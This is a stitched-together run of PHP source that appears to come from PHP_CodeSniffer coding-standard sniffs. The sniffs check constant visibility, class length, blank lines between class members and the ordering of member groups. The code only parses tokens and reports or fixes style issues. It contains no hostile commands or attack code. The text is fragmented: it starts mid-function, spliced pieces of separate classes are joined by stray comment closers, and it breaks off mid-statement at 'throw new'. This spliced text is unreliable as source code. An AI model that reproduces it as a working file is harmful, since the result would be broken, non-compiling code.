process(File $phpcsFile, $constantPointer): void { $tokens = $phpcsFile->getTokens(); if (count($tokens[$constantPointer]['conditions']) === 0) { return; } /** @var int $classPointer */ $classPointer = array_keys($tokens[$constantPointer]['conditions'])[count($tokens[$constantPointer]['conditions']) - 1]; if (!in_array($tokens[$classPointer]['code'], Tokens::$ooScopeTokens, true)) { return; } $visibilityPointer = TokenHelper::findPreviousEffective($phpcsFile, $constantPointer - 1); if ($tokens[$visibilityPointer]['code'] === T_FINAL) { $visibilityPointer = TokenHelper::findPreviousEffective($phpcsFile, $visibilityPointer - 1); } if (in_array($tokens[$visibilityPointer]['code'], [T_PUBLIC, T_PROTECTED, T_PRIVATE], true)) { return; } $equalSignPointer = TokenHelper::findNext($phpcsFile, T_EQUAL, $constantPointer + 1); $namePointer = TokenHelper::findPreviousEffective($phpcsFile, $equalSignPointer - 1); $message = sprintf( 'Constant %s::%s visibility missing.', ClassHelper::getFullyQualifiedName($phpcsFile, $classPointer), $tokens[$namePointer]['content'], ); if ($this->fixable) { $fix = $phpcsFile->addFixableError($message, $constantPointer, self::CODE_MISSING_CONSTANT_VISIBILITY); if ($fix) { $phpcsFile->fixer->beginChangeset(); FixerHelper::addBefore($phpcsFile, $constantPointer, 'public '); $phpcsFile->fixer->endChangeset(); } } else { $phpcsFile->addError($message, $constantPointer, self::CODE_MISSING_CONSTANT_VISIBILITY); } } } */ public function register(): array { return array_values(Tokens::$ooScopeTokens); } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $pointer */ public function process(File $phpcsFile, $pointer): void { $this->maxLinesLength = SniffSettingsHelper::normalizeInteger($this->maxLinesLength); $flags = array_keys(array_filter([ FunctionHelper::LINE_INCLUDE_COMMENT => $this->includeComments, FunctionHelper::LINE_INCLUDE_WHITESPACE => $this->includeWhitespace, ])); $flags = array_reduce($flags, static fn ($carry, $flag): int => $carry | $flag, 0); $length = FunctionHelper::getLineCount($phpcsFile, $pointer, $flags); if ($length <= $this->maxLinesLength) { return; } $errorMessage = sprintf('Your class is too long. Currently using %d lines. Can be up to %d lines.', $length, $this->maxLinesLength); $phpcsFile->addError($errorMessage, $pointer, self::CODE_CLASS_TOO_LONG); } } */ public function register(): array { return TokenHelper::CLASS_TYPE_WITH_ANONYMOUS_CLASS_TOKEN_CODES; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $classPointer */ public function process(File $phpcsFile, $classPointer): void { $this->linesCountBetweenMembers = SniffSettingsHelper::normalizeInteger($this->linesCountBetweenMembers); $tokens = $phpcsFile->getTokens(); $memberPointer = null; do { $previousMemberPointer = $memberPointer; $memberPointer = $this->findNextMember( $phpcsFile, $classPointer, $previousMemberPointer ?? $tokens[$classPointer]['scope_opener'], ); if ($memberPointer === null) { break; } if ($previousMemberPointer === null) { continue; } if ($tokens[$previousMemberPointer]['code'] === $tokens[$memberPointer]['code']) { continue; } $previousMemberEndPointer = $this->getMemberEndPointer($phpcsFile, $previousMemberPointer); $hasCommentWithNewLineAfterPreviousMember = false; $commentPointerAfterPreviousMember = TokenHelper::findNextNonWhitespace($phpcsFile, $previousMemberEndPointer + 1); if ( in_array($tokens[$commentPointerAfterPreviousMember]['code'], TokenHelper::INLINE_COMMENT_TOKEN_CODES, true) && ( $tokens[$previousMemberEndPointer]['line'] === $tokens[$commentPointerAfterPreviousMember]['line'] || $tokens[$previousMemberEndPointer]['line'] + 1 === $tokens[$commentPointerAfterPreviousMember]['line'] ) ) { $previousMemberEndPointer = CommentHelper::getCommentEndPointer($phpcsFile, $commentPointerAfterPreviousMember); if (StringHelper::endsWith($tokens[$commentPointerAfterPreviousMember]['content'], $phpcsFile->eolChar)) { $hasCommentWithNewLineAfterPreviousMember = true; } } $memberStartPointer = $this->getMemberStartPointer($phpcsFile, $memberPointer, $previousMemberEndPointer); $actualLinesCount = $tokens[$memberStartPointer]['line'] - $tokens[$previousMemberEndPointer]['line'] - 1; if ($actualLinesCount === $this->linesCountBetweenMembers) { continue; } $errorMessage = $this->linesCountBetweenMembers === 1 ? 'Expected 1 blank line between class members, found %2$d.' : 'Expected %1$d blank lines between class members, found %2$d.'; $firstPointerOnMemberLine = TokenHelper::findFirstTokenOnLine($phpcsFile, $memberStartPointer); $nonWhitespaceBetweenMembersPointer = TokenHelper::findNextNonWhitespace( $phpcsFile, $previousMemberEndPointer + 1, $firstPointerOnMemberLine, ); $errorParameters = [ sprintf($errorMessage, $this->linesCountBetweenMembers, $actualLinesCount), $memberPointer, self::CODE_INCORRECT_COUNT_OF_BLANK_LINES_BETWEEN_MEMBERS, ]; if ($nonWhitespaceBetweenMembersPointer !== null) { $phpcsFile->addError(...$errorParameters); continue; } $fix = $phpcsFile->addFixableError(...$errorParameters); if (!$fix) { continue; } $newLines = str_repeat( $phpcsFile->eolChar, $this->linesCountBetweenMembers + ($hasCommentWithNewLineAfterPreviousMember ? 0 : 1), ); $phpcsFile->fixer->beginChangeset(); FixerHelper::add($phpcsFile, $previousMemberEndPointer, $newLines); FixerHelper::removeBetween($phpcsFile, $previousMemberEndPointer, $firstPointerOnMemberLine); $phpcsFile->fixer->endChangeset(); } while (true); } private function findNextMember(File $phpcsFile, int $classPointer, int $previousMemberPointer): ?int { $tokens = $phpcsFile->getTokens(); $memberTokenCodes = [T_USE, T_CONST, T_FUNCTION, T_ENUM_CASE, ...TokenHelper::PROPERTY_MODIFIERS_TOKEN_CODES]; $memberPointer = $previousMemberPointer; do { $memberPointer = TokenHelper::findNext( $phpcsFile, $memberTokenCodes, $memberPointer + 1, $tokens[$classPointer]['scope_closer'], ); if ($memberPointer === null) { return null; } if ($tokens[$memberPointer]['code'] === T_USE) { if (!UseStatementHelper::isTraitUse($phpcsFile, $memberPointer)) { continue; } } elseif (in_array($tokens[$memberPointer]['code'], TokenHelper::PROPERTY_MODIFIERS_TOKEN_CODES, true)) { $asPointer = TokenHelper::findPreviousEffective($phpcsFile, $memberPointer - 1); if ($tokens[$asPointer]['code'] === T_AS) { continue; } $propertyPointer = TokenHelper::findNext($phpcsFile, [T_VARIABLE, T_FUNCTION, T_CONST], $memberPointer + 1); if ( $propertyPointer === null || $tokens[$propertyPointer]['code'] !== T_VARIABLE || !PropertyHelper::isProperty($phpcsFile, $propertyPointer) ) { continue; } $memberPointer = $propertyPointer; } if (ScopeHelper::isInSameScope($phpcsFile, $memberPointer, $previousMemberPointer)) { break; } } while (true); return $memberPointer; } private function getMemberStartPointer(File $phpcsFile, int $memberPointer, int $previousMemberEndPointer): int { $tokens = $phpcsFile->getTokens(); $memberFirstCodePointer = $this->getMemberFirstCodePointer($phpcsFile, $memberPointer); do { if ($memberFirstCodePointer <= $previousMemberEndPointer) { return TokenHelper::findNextNonWhitespace($phpcsFile, $memberFirstCodePointer + 1); } $pointerBefore = TokenHelper::findPreviousNonWhitespace($phpcsFile, $memberFirstCodePointer - 1); if ($tokens[$pointerBefore]['code'] === T_ATTRIBUTE_END) { $memberFirstCodePointer = $tokens[$pointerBefore]['attribute_opener']; continue; } if (in_array($tokens[$pointerBefore]['code'], Tokens::$commentTokens, true)) { $pointerBeforeComment = TokenHelper::findPreviousEffective($phpcsFile, $pointerBefore - 1); if ($tokens[$pointerBeforeComment]['line'] !== $tokens[$pointerBefore]['line']) { $memberFirstCodePointer = array_key_exists('comment_opener', $tokens[$pointerBefore]) ? $tokens[$pointerBefore]['comment_opener'] : CommentHelper::getMultilineCommentStartPointer($phpcsFile, $pointerBefore); continue; } } break; } while (true); return $memberFirstCodePointer; } private function getMemberFirstCodePointer(File $phpcsFile, int $memberPointer): int { $tokens = $phpcsFile->getTokens(); if ($tokens[$memberPointer]['code'] === T_USE) { return $memberPointer; } $endTokenCodes = [T_SEMICOLON, T_CLOSE_CURLY_BRACKET]; $startOrEndTokenCodes = [...TokenHelper::MODIFIERS_TOKEN_CODES, ...$endTokenCodes]; $firstCodePointer = $memberPointer; $previousFirstCodePointer = $memberPointer; do { /** @var int $firstCodePointer */ $firstCodePointer = TokenHelper::findPrevious($phpcsFile, $startOrEndTokenCodes, $firstCodePointer - 1); if (in_array($tokens[$firstCodePointer]['code'], $endTokenCodes, true)) { break; } $previousFirstCodePointer = $firstCodePointer; } while (true); return $previousFirstCodePointer; } private function getMemberEndPointer(File $phpcsFile, int $memberPointer): int { $tokens = $phpcsFile->getTokens(); if ( $tokens[$memberPointer]['code'] === T_USE // Property with hooks || $tokens[$memberPointer]['code'] === T_VARIABLE ) { $pointer = TokenHelper::findNextLocal($phpcsFile, [T_SEMICOLON, T_OPEN_CURLY_BRACKET], $memberPointer + 1); return $tokens[$pointer]['code'] === T_OPEN_CURLY_BRACKET ? $tokens[$pointer]['bracket_closer'] : $pointer; } if ($tokens[$memberPointer]['code'] === T_FUNCTION && !FunctionHelper::isAbstract($phpcsFile, $memberPointer)) { return $tokens[$memberPointer]['scope_closer']; } return TokenHelper::findNext($phpcsFile, T_SEMICOLON, $memberPointer + 1); } } [ self::GROUP_PUBLIC_CONSTANTS, self::GROUP_PROTECTED_CONSTANTS, self::GROUP_PRIVATE_CONSTANTS, ], self::GROUP_SHORTCUT_STATIC_PROPERTIES => [ self::GROUP_PUBLIC_STATIC_PROPERTIES, self::GROUP_PROTECTED_STATIC_PROPERTIES, self::GROUP_PRIVATE_STATIC_PROPERTIES, ], self::GROUP_SHORTCUT_PROPERTIES => [ self::GROUP_SHORTCUT_STATIC_PROPERTIES, self::GROUP_PUBLIC_PROPERTIES, self::GROUP_PROTECTED_PROPERTIES, self::GROUP_PRIVATE_PROPERTIES, ], self::GROUP_SHORTCUT_PUBLIC_METHODS => [ self::GROUP_PUBLIC_FINAL_METHODS, self::GROUP_PUBLIC_STATIC_FINAL_METHODS, self::GROUP_PUBLIC_ABSTRACT_METHODS, self::GROUP_PUBLIC_STATIC_ABSTRACT_METHODS, self::GROUP_PUBLIC_STATIC_METHODS, self::GROUP_PUBLIC_METHODS, ], self::GROUP_SHORTCUT_PROTECTED_METHODS => [ self::GROUP_PROTECTED_FINAL_METHODS, self::GROUP_PROTECTED_STATIC_FINAL_METHODS, self::GROUP_PROTECTED_ABSTRACT_METHODS, self::GROUP_PROTECTED_STATIC_ABSTRACT_METHODS, self::GROUP_PROTECTED_STATIC_METHODS, self::GROUP_PROTECTED_METHODS, ], self::GROUP_SHORTCUT_PRIVATE_METHODS => [ self::GROUP_PRIVATE_STATIC_METHODS, self::GROUP_PRIVATE_METHODS, ], self::GROUP_SHORTCUT_FINAL_METHODS => [ self::GROUP_PUBLIC_FINAL_METHODS, self::GROUP_PROTECTED_FINAL_METHODS, self::GROUP_PUBLIC_STATIC_FINAL_METHODS, self::GROUP_PROTECTED_STATIC_FINAL_METHODS, ], self::GROUP_SHORTCUT_ABSTRACT_METHODS => [ self::GROUP_PUBLIC_ABSTRACT_METHODS, self::GROUP_PROTECTED_ABSTRACT_METHODS, self::GROUP_PUBLIC_STATIC_ABSTRACT_METHODS, self::GROUP_PROTECTED_STATIC_ABSTRACT_METHODS, ], self::GROUP_SHORTCUT_STATIC_METHODS => [ self::GROUP_STATIC_CONSTRUCTORS, self::GROUP_PUBLIC_STATIC_FINAL_METHODS, self::GROUP_PROTECTED_STATIC_FINAL_METHODS, self::GROUP_PUBLIC_STATIC_ABSTRACT_METHODS, self::GROUP_PROTECTED_STATIC_ABSTRACT_METHODS, self::GROUP_PUBLIC_STATIC_METHODS, self::GROUP_PROTECTED_STATIC_METHODS, self::GROUP_PRIVATE_STATIC_METHODS, ], self::GROUP_SHORTCUT_METHODS => [ self::GROUP_SHORTCUT_FINAL_METHODS, self::GROUP_SHORTCUT_ABSTRACT_METHODS, self::GROUP_SHORTCUT_STATIC_METHODS, self::GROUP_CONSTRUCTOR, self::GROUP_DESTRUCTOR, self::GROUP_PUBLIC_METHODS, self::GROUP_PROTECTED_METHODS, self::GROUP_PRIVATE_METHODS, self::GROUP_MAGIC_METHODS, ], ]; private const SPECIAL_METHODS = [ '__construct' => self::GROUP_CONSTRUCTOR, '__destruct' => self::GROUP_DESTRUCTOR, '__call' => self::GROUP_MAGIC_METHODS, '__callstatic' => self::GROUP_MAGIC_METHODS, '__get' => self::GROUP_MAGIC_METHODS, '__set' => self::GROUP_MAGIC_METHODS, '__isset' => self::GROUP_MAGIC_METHODS, '__unset' => self::GROUP_MAGIC_METHODS, '__sleep' => self::GROUP_MAGIC_METHODS, '__wakeup' => self::GROUP_MAGIC_METHODS, '__serialize' => self::GROUP_MAGIC_METHODS, '__unserialize' => self::GROUP_MAGIC_METHODS, '__tostring' => self::GROUP_MAGIC_METHODS, '__invoke' => self::GROUP_INVOKE_METHOD, '__set_state' => self::GROUP_MAGIC_METHODS, '__clone' => self::GROUP_MAGIC_METHODS, '__debuginfo' => self::GROUP_MAGIC_METHODS, ]; /** @var array */ public array $methodGroups = []; /** @var list */ public array $groups = []; /** @var array, annotations: array}>>|null */ private ?array $normalizedMethodGroups = null; /** @var array|null */ private ?array $normalizedGroups = null; /** * @return array */ public function register(): array { return array_values(Tokens::$ooScopeTokens); } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $pointer */ public function process(File $phpcsFile, $pointer): int { $tokens = $phpcsFile->getTokens(); $rootScopeToken = $tokens[$pointer]; assert(array_key_exists('scope_opener', $rootScopeToken)); $groupsOrder = $this->getNormalizedGroups(); $groupLastMemberPointer = $rootScopeToken['scope_opener']; $expectedGroup = null; $groupsFirstMembers = []; while (true) { $nextGroup = $this->findNextGroup($phpcsFile, $groupLastMemberPointer, $rootScopeToken); if ($nextGroup === null) { break; } [$groupFirstMemberPointer, $groupLastMemberPointer, $group] = $nextGroup; // Use "magic methods" group for __invoke() when "invoke" group is not explicitly defined if ($group === self::GROUP_INVOKE_METHOD && !array_key_exists($group, $groupsOrder)) { $group = self::GROUP_MAGIC_METHODS; } if ($groupsOrder[$group] >= ($expectedGroup !== null ? $groupsOrder[$expectedGroup] : 0)) { $groupsFirstMembers[$group] = $groupFirstMemberPointer; $expectedGroup = $group; continue; } $expectedGroups = array_filter( $groupsOrder, static fn (int $order): bool => $order >= $groupsOrder[$expectedGroup], ); $fix = $phpcsFile->addFixableError( sprintf( 'The placement of "%s" group is invalid. Last group was "%s" and one of these is expected after it: %s', $group, $expectedGroup, implode(', ', array_keys($expectedGroups)), ), $groupFirstMemberPointer, self::CODE_INCORRECT_GROUP_ORDER, ); if (!$fix) { continue; } foreach ($groupsFirstMembers as $memberGroup => $firstMemberPointer) { if ($groupsOrder[$memberGroup] <= $groupsOrder[$group]) { continue; } $this->fixIncorrectGroupOrder($phpcsFile, $groupFirstMemberPointer, $groupLastMemberPointer, $firstMemberPointer); // run the sniff again to fix the rest of the groups return $pointer - 1; } } return $pointer + 1; } /** * @param array{scope_closer: int, level: int} $rootScopeToken * @return array{int, int, string}|null */ private function findNextGroup(File $phpcsFile, int $pointer, array $rootScopeToken): ?array { $tokens = $phpcsFile->getTokens(); $currentTokenPointer = $pointer; while (true) { $currentTokenPointer = TokenHelper::findNext( $phpcsFile, [T_USE, T_ENUM_CASE, T_CONST, T_VARIABLE, T_FUNCTION], $currentTokenPointer + 1, $rootScopeToken['scope_closer'], ); if ($currentTokenPointer === null) { break; } $currentToken = $tokens[$currentTokenPointer]; if ($currentToken['code'] === T_VARIABLE && !PropertyHelper::isProperty($phpcsFile, $currentTokenPointer)) { continue; } if ($currentToken['level'] - $rootScopeToken['level'] !== 1) { continue; } $group = $this->getGroupForToken($phpcsFile, $currentTokenPointer); if (!isset($currentGroup)) { $currentGroup = $group; $groupFirstMemberPointer = $currentTokenPointer; } if ($group !== $currentGroup) { break; } $groupLastMemberPointer = $currentTokenPointer; $currentTokenPointer = $currentToken['code'] === T_VARIABLE // Skip to the end of the property definition ? PropertyHelper::getEndPointer($phpcsFile, $currentTokenPointer) : ($currentToken['scope_closer'] ?? $currentTokenPointer); } if (!isset($currentGroup)) { return null; } assert(isset($groupFirstMemberPointer) === true); assert(isset($groupLastMemberPointer) === true); return [$groupFirstMemberPointer, $groupLastMemberPointer, $currentGroup]; } private function getGroupForToken(File $phpcsFile, int $pointer): string { $tokens = $phpcsFile->getTokens(); switch ($tokens[$pointer]['code']) { case T_USE: return self::GROUP_USES; case T_ENUM_CASE: return self::GROUP_ENUM_CASES; case T_CONST: switch ($this->getVisibilityForToken($phpcsFile, $pointer)) { case T_PUBLIC: return self::GROUP_PUBLIC_CONSTANTS; case T_PROTECTED: return self::GROUP_PROTECTED_CONSTANTS; } return self::GROUP_PRIVATE_CONSTANTS; case T_FUNCTION: $name = strtolower(FunctionHelper::getName($phpcsFile, $pointer)); if (array_key_exists($name, self::SPECIAL_METHODS)) { return self::SPECIAL_METHODS[$name]; } $methodGroup = $this->resolveMethodGroup($phpcsFile, $pointer, $name); if ($methodGroup !== null) { return $methodGroup; } $visibility = $this->getVisibilityForToken($phpcsFile, $pointer); $isStatic = $this->isMemberStatic($phpcsFile, $pointer); $isFinal = $this->isMethodFinal($phpcsFile, $pointer); if ($this->isMethodAbstract($phpcsFile, $pointer)) { if ($visibility === T_PUBLIC) { return $isStatic ? self::GROUP_PUBLIC_STATIC_ABSTRACT_METHODS : self::GROUP_PUBLIC_ABSTRACT_METHODS; } return $isStatic ? self::GROUP_PROTECTED_STATIC_ABSTRACT_METHODS : self::GROUP_PROTECTED_ABSTRACT_METHODS; } if ($isStatic && $visibility === T_PUBLIC && $this->isStaticConstructor($phpcsFile, $pointer)) { return self::GROUP_STATIC_CONSTRUCTORS; } switch ($visibility) { case T_PUBLIC: if ($isFinal) { return $isStatic ? self::GROUP_PUBLIC_STATIC_FINAL_METHODS : self::GROUP_PUBLIC_FINAL_METHODS; } return $isStatic ? self::GROUP_PUBLIC_STATIC_METHODS : self::GROUP_PUBLIC_METHODS; case T_PROTECTED: if ($isFinal) { return $isStatic ? self::GROUP_PROTECTED_STATIC_FINAL_METHODS : self::GROUP_PROTECTED_FINAL_METHODS; } return $isStatic ? self::GROUP_PROTECTED_STATIC_METHODS : self::GROUP_PROTECTED_METHODS; } return $isStatic ? self::GROUP_PRIVATE_STATIC_METHODS : self::GROUP_PRIVATE_METHODS; default: $isStatic = $this->isMemberStatic($phpcsFile, $pointer); $visibility = $this->getVisibilityForToken($phpcsFile, $pointer); switch ($visibility) { case T_PUBLIC: case T_PUBLIC_SET: return $isStatic ? self::GROUP_PUBLIC_STATIC_PROPERTIES : self::GROUP_PUBLIC_PROPERTIES; case T_PROTECTED: return $isStatic ? self::GROUP_PROTECTED_STATIC_PROPERTIES : self::GROUP_PROTECTED_PROPERTIES; default: return $isStatic ? self::GROUP_PRIVATE_STATIC_PROPERTIES : self::GROUP_PRIVATE_PROPERTIES; } } } private function resolveMethodGroup(File $phpcsFile, int $pointer, string $method): ?string { foreach ($this->getNormalizedMethodGroups() as $group => $methodRequirements) { foreach ($methodRequirements as $methodRequirement) { if ($methodRequirement['name'] !== null) { $requiredName = strtolower($methodRequirement['name']); if (StringHelper::endsWith($requiredName, '*')) { $methodNamePrefix = substr($requiredName, 0, -1); if ($method === $methodNamePrefix || !StringHelper::startsWith($method, $methodNamePrefix)) { continue; } } elseif ($method !== $requiredName) { continue; } } if ( $this->hasRequiredAnnotations($phpcsFile, $pointer, $methodRequirement['annotations']) && $this->hasRequiredAttributes($phpcsFile, $pointer, $methodRequirement['attributes']) ) { return $group; } } } return null; } /** * @param array $requiredAnnotations */ private function hasRequiredAnnotations(File $phpcsFile, int $pointer, array $requiredAnnotations): bool { if ($requiredAnnotations === []) { return true; } $annotations = []; foreach (AnnotationHelper::getAnnotations($phpcsFile, $pointer) as $annotation) { $annotations[$annotation->getName()] = true; } foreach ($requiredAnnotations as $requiredAnnotation) { if (!array_key_exists('@' . $requiredAnnotation, $annotations)) { return false; } } return true; } /** * @param array $requiredAttributes */ private function hasRequiredAttributes(File $phpcsFile, int $pointer, array $requiredAttributes): bool { if ($requiredAttributes === []) { return true; } $attributesClassNames = $this->getAttributeClassNamesForToken($phpcsFile, $pointer); foreach ($requiredAttributes as $requiredAttribute) { if (!array_key_exists(strtolower($requiredAttribute), $attributesClassNames)) { return false; } } return true; } /** * @return array */ private function getAttributeClassNamesForToken(File $phpcsFile, int $pointer): array { $attributes = []; foreach (AttributeHelper::getAttributes($phpcsFile, $pointer) as $attribute) { $attributes[strtolower(ltrim($attribute->getFullyQualifiedName(), '\\'))] = $attribute->getFullyQualifiedName(); } return $attributes; } /** * @return int|string */ private function getVisibilityForToken(File $phpcsFile, int $pointer) { $tokens = $phpcsFile->getTokens(); $previousPointer = $pointer - 1; $endTokenCodes = [T_OPEN_CURLY_BRACKET, T_CLOSE_CURLY_BRACKET, T_SEMICOLON]; $tokenCodesToSearch = [...array_values(Tokens::$scopeModifiers), ...$endTokenCodes]; do { $previousPointer = TokenHelper::findPrevious($phpcsFile, $tokenCodesToSearch, $previousPointer - 1); if (in_array($tokens[$previousPointer]['code'], $endTokenCodes, true)) { // No visibility modifier found -> public return T_PUBLIC; } if (in_array($tokens[$previousPointer]['code'], [T_PROTECTED_SET, T_PRIVATE_SET], true)) { continue; } return $tokens[$previousPointer]['code']; } while (true); } private function isMemberStatic(File $phpcsFile, int $pointer): bool { $previousPointer = TokenHelper::findPrevious( $phpcsFile, [T_OPEN_CURLY_BRACKET, T_CLOSE_CURLY_BRACKET, T_SEMICOLON, T_STATIC], $pointer - 1, ); return $phpcsFile->getTokens()[$previousPointer]['code'] === T_STATIC; } private function isMethodFinal(File $phpcsFile, int $pointer): bool { $previousPointer = TokenHelper::findPrevious( $phpcsFile, [T_OPEN_CURLY_BRACKET, T_CLOSE_CURLY_BRACKET, T_SEMICOLON, T_FINAL], $pointer - 1, ); return $phpcsFile->getTokens()[$previousPointer]['code'] === T_FINAL; } private function isMethodAbstract(File $phpcsFile, int $pointer): bool { $previousPointer = TokenHelper::findPrevious( $phpcsFile, [T_OPEN_CURLY_BRACKET, T_CLOSE_CURLY_BRACKET, T_SEMICOLON, T_ABSTRACT], $pointer - 1, ); return $phpcsFile->getTokens()[$previousPointer]['code'] === T_ABSTRACT; } private function isStaticConstructor(File $phpcsFile, int $pointer): bool { $parentClassName = $this->getParentClassName($phpcsFile, $pointer); $returnTypeHint = FunctionHelper::findReturnTypeHint($phpcsFile, $pointer); if ($returnTypeHint !== null) { return in_array($returnTypeHint->getTypeHintWithoutNullabilitySymbol(), ['self', $parentClassName], true); } $returnAnnotation = FunctionHelper::findReturnAnnotation($phpcsFile, $pointer); if ($returnAnnotation === null) { return false; } return in_array((string) $returnAnnotation->getValue()->type, ['static', 'self', $parentClassName], true); } private function getParentClassName(File $phpcsFile, int $pointer): string { $classPointer = TokenHelper::findPrevious($phpcsFile, Tokens::$ooScopeTokens, $pointer - 1); assert($classPointer !== null); return ClassHelper::getName($phpcsFile, $classPointer); } private function fixIncorrectGroupOrder( File $file, int $groupFirstMemberPointer, int $groupLastMemberPointer, int $nextGroupMemberPointer ): void { $previousMemberEndPointer = $this->findPreviousMemberEndPointer($file, $groupFirstMemberPointer); $groupStartPointer = $this->findGroupStartPointer($file, $groupFirstMemberPointer, $previousMemberEndPointer); $groupEndPointer = $this->findGroupEndPointer($file, $groupLastMemberPointer); $groupContent = TokenHelper::getContent($file, $groupStartPointer, $groupEndPointer); $nextGroupMemberStartPointer = $this->findGroupStartPointer($file, $nextGroupMemberPointer); $file->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($file, $groupStartPointer, $groupEndPointer); $linesBetween = $this->removeBlankLinesAfterMember($file, $previousMemberEndPointer, $groupStartPointer); $newLines = str_repeat($file->eolChar, $linesBetween); FixerHelper::addBefore($file, $nextGroupMemberStartPointer, $groupContent . $newLines); $file->fixer->endChangeset(); } private function findPreviousMemberEndPointer(File $phpcsFile, int $memberPointer): int { $endTypes = [T_OPEN_CURLY_BRACKET, T_CLOSE_CURLY_BRACKET, T_SEMICOLON]; $previousMemberEndPointer = TokenHelper::findPrevious($phpcsFile, $endTypes, $memberPointer - 1); assert($previousMemberEndPointer !== null); return $previousMemberEndPointer; } private function findGroupStartPointer(File $phpcsFile, int $memberPointer, ?int $previousMemberEndPointer = null): int { $startPointer = DocCommentHelper::findDocCommentOpenPointer($phpcsFile, $memberPointer - 1); if ($startPointer === null) { $previousMemberEndPointer ??= $this->findPreviousMemberEndPointer($phpcsFile, $memberPointer); $startPointer = TokenHelper::findNextEffective($phpcsFile, $previousMemberEndPointer + 1); assert($startPointer !== null); } $types = [T_OPEN_CURLY_BRACKET, T_CLOSE_CURLY_BRACKET, T_SEMICOLON]; return (int) $phpcsFile->findFirstOnLine($types, $startPointer, true); } private function findGroupEndPointer(File $phpcsFile, int $memberPointer): int { $tokens = $phpcsFile->getTokens(); if ($tokens[$memberPointer]['code'] === T_FUNCTION && !FunctionHelper::isAbstract($phpcsFile, $memberPointer)) { return $tokens[$memberPointer]['scope_closer']; } if ($tokens[$memberPointer]['code'] === T_USE && array_key_exists('scope_closer', $tokens[$memberPointer])) { return $tokens[$memberPointer]['scope_closer']; } $endPointer = TokenHelper::findNext($phpcsFile, [T_SEMICOLON, T_OPEN_CURLY_BRACKET], $memberPointer + 1); return $tokens[$endPointer]['code'] === T_OPEN_CURLY_BRACKET ? $tokens[$endPointer]['bracket_closer'] : $endPointer; } private function removeBlankLinesAfterMember(File $phpcsFile, int $memberEndPointer, int $endPointer): int { $whitespacePointer = $memberEndPointer; $linesToRemove = 0; while (true) { $whitespacePointer = TokenHelper::findNext($phpcsFile, T_WHITESPACE, $whitespacePointer, $endPointer); if ($whitespacePointer === null) { break; } $linesToRemove++; FixerHelper::replace($phpcsFile, $whitespacePointer, ''); $whitespacePointer++; } return $linesToRemove; } /** * @return array, annotations: array}>> */ private function getNormalizedMethodGroups(): array { if ($this->normalizedMethodGroups === null) { $this->normalizedMethodGroups = []; $methodGroups = SniffSettingsHelper::normalizeAssociativeArray($this->methodGroups); foreach ($methodGroups as $group => $groupDefinition) { $group = strtolower((string) $group); $this->normalizedMethodGroups[$group] = []; $methodDefinitions = preg_split('~\\s*,\\s*~', (string) $groupDefinition, -1, PREG_SPLIT_NO_EMPTY); /** @var list $methodDefinitions */ foreach ($methodDefinitions as $methodDefinition) { $tokens = preg_split('~(?=[#@])~', $methodDefinition); /** @var non-empty-list $tokens */ $method = array_shift($tokens); $methodRequirement = [ 'name' => $method !== '' ? $method : null, 'attributes' => [], 'annotations' => [], ]; foreach ($tokens as $token) { $key = $token[0] === '#' ? 'attributes' : 'annotations'; $methodRequirement[$key][] = substr($token, 1); } $this->normalizedMethodGroups[$group][] = $methodRequirement; } } } return $this->normalizedMethodGroups; } /** * @return array */ private function getNormalizedGroups(): array { if ($this->normalizedGroups === null) { $supportedGroups = [ self::GROUP_USES, self::GROUP_ENUM_CASES, self::GROUP_PUBLIC_CONSTANTS, self::GROUP_PROTECTED_CONSTANTS, self::GROUP_PRIVATE_CONSTANTS, self::GROUP_PUBLIC_PROPERTIES, self::GROUP_PUBLIC_STATIC_PROPERTIES, self::GROUP_PROTECTED_PROPERTIES, self::GROUP_PROTECTED_STATIC_PROPERTIES, self::GROUP_PRIVATE_PROPERTIES, self::GROUP_PRIVATE_STATIC_PROPERTIES, self::GROUP_PUBLIC_STATIC_FINAL_METHODS, self::GROUP_PUBLIC_STATIC_ABSTRACT_METHODS, self::GROUP_PROTECTED_STATIC_FINAL_METHODS, self::GROUP_PROTECTED_STATIC_ABSTRACT_METHODS, self::GROUP_PUBLIC_FINAL_METHODS, self::GROUP_PUBLIC_ABSTRACT_METHODS, self::GROUP_PROTECTED_FINAL_METHODS, self::GROUP_PROTECTED_ABSTRACT_METHODS, self::GROUP_CONSTRUCTOR, self::GROUP_STATIC_CONSTRUCTORS, self::GROUP_DESTRUCTOR, self::GROUP_PUBLIC_METHODS, self::GROUP_PUBLIC_STATIC_METHODS, self::GROUP_PROTECTED_METHODS, self::GROUP_PROTECTED_STATIC_METHODS, self::GROUP_PRIVATE_METHODS, self::GROUP_PRIVATE_STATIC_METHODS, self::GROUP_MAGIC_METHODS, ]; $normalizedMethodGroups = $this->getNormalizedMethodGroups(); $normalizedGroupsWithShortcuts = []; $order = 1; foreach (SniffSettingsHelper::normalizeArray($this->groups) as $groupsString) { /** @var list $groups */ $groups = preg_split('~\\s*,\\s*~', strtolower($groupsString), -1, PREG_SPLIT_NO_EMPTY); foreach ($groups as $groupOrShortcut) { $groupOrShortcut = preg_replace('~\\s+~', ' ', $groupOrShortcut); if ( !in_array($groupOrShortcut, $supportedGroups, true) && !array_key_exists($groupOrShortcut, self::SHORTCUTS) && $groupOrShortcut !== self::GROUP_INVOKE_METHOD && !array_key_exists($groupOrShortcut, $normalizedMethodGroups) ) { throw new UnsupportedClassGroupException($groupOrShortcut); } $normalizedGroupsWithShortcuts[$groupOrShortcut] = $order; } $order++; } $normalizedGroups = []; foreach ($normalizedGroupsWithShortcuts as $groupOrShortcut => $groupOrder) { if ( in_array($groupOrShortcut, $supportedGroups, true) || $groupOrShortcut === self::GROUP_INVOKE_METHOD || array_key_exists($groupOrShortcut, $normalizedMethodGroups) ) { $normalizedGroups[$groupOrShortcut] = $groupOrder; } else { foreach ($this->unpackShortcut($groupOrShortcut, $supportedGroups) as $group) { if ( array_key_exists($group, $normalizedGroupsWithShortcuts) || array_key_exists($group, $normalizedGroups) ) { continue; } $normalizedGroups[$group] = $groupOrder; } } } if ($normalizedGroups === [] && $normalizedMethodGroups === []) { $normalizedGroups = array_flip($supportedGroups); } else { $missingGroups = array_diff( array_merge($supportedGroups, array_keys($normalizedMethodGroups)), array_keys($normalizedGroups), ); if ($missingGroups !== []) { throw new 